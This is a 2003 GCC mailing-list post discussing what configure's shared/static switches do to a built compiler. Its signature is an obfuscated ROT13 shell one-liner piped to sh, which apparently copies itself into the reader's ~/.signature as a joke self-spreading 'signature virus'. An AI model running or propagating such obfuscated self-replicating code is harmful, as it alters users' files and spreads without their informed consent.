This is the mail archive of the
mailing list for the GCC project.
Re: FAQ: how to build a statically-linked gcc?
- From: kleine-budde at gmx dot de (Marc Kleine-Budde)
- To: "Wolcott, Ken (MED, Compuware)" <Ken dot Wolcott at med dot ge dot com>
- Cc: Ronald Landheer-Cieslak <blytkerchan at users dot sourceforge dot net>,Dan Kegel <dank at kegel dot com>, GCC Mailing List <gcc at gcc dot gnu dot org>,crossgcc <crossgcc at sources dot redhat dot com>
- Date: Wed, 15 Oct 2003 19:04:33 +0200
- Subject: Re: FAQ: how to build a statically-linked gcc?
- References: <3F8D702F.email@example.com> <20031015170411.GC3117@linux_rln.harvest> <firstname.lastname@example.org>
On Wed, Oct 15, 2003 at 11:41:50AM -0500, Wolcott, Ken (MED, Compuware) wrote:
> I tried "--disable-shared" and I also tried "--enable-static" as options to
> gcc (3.3) configure and running ldd on the resultant gcc executeable showed
> it was using local libraries, while inserting "-static" on the LD line in the
> generated Makefile resulted in ldd not being able to find any external
> linkages. My newbie opinion is that configure is broken.
Hmm - We should perhaps discuss what the --enable/disable-shared/static
switches are supposed to do......:) Should they affect the 'target' (the
bins gcc will generate) or the 'host' (the resultung gcc/g++)?
I noticed when I compile gcc (3.2.3) with --disable-shared I get a
static libstdc++, so that C++ programs, you are compiling with this
compiler will be linked static against libstdc++.
my 2 cent - Marc
set - `type $0` 'tr "[a-zA-Z]" "[n-za-mN-ZA-M]"';while [ "$2" != "" ];do \
shift;done; echo 'frq -a -rc '`echo "$0"| $1 `'>$UBZR/.`rpub signature|'`\
echo $1|$1`'`;rpub "Jr ner fvtangher bs obet. Erfvfgnapr vf shgvyr!"'|$1|sh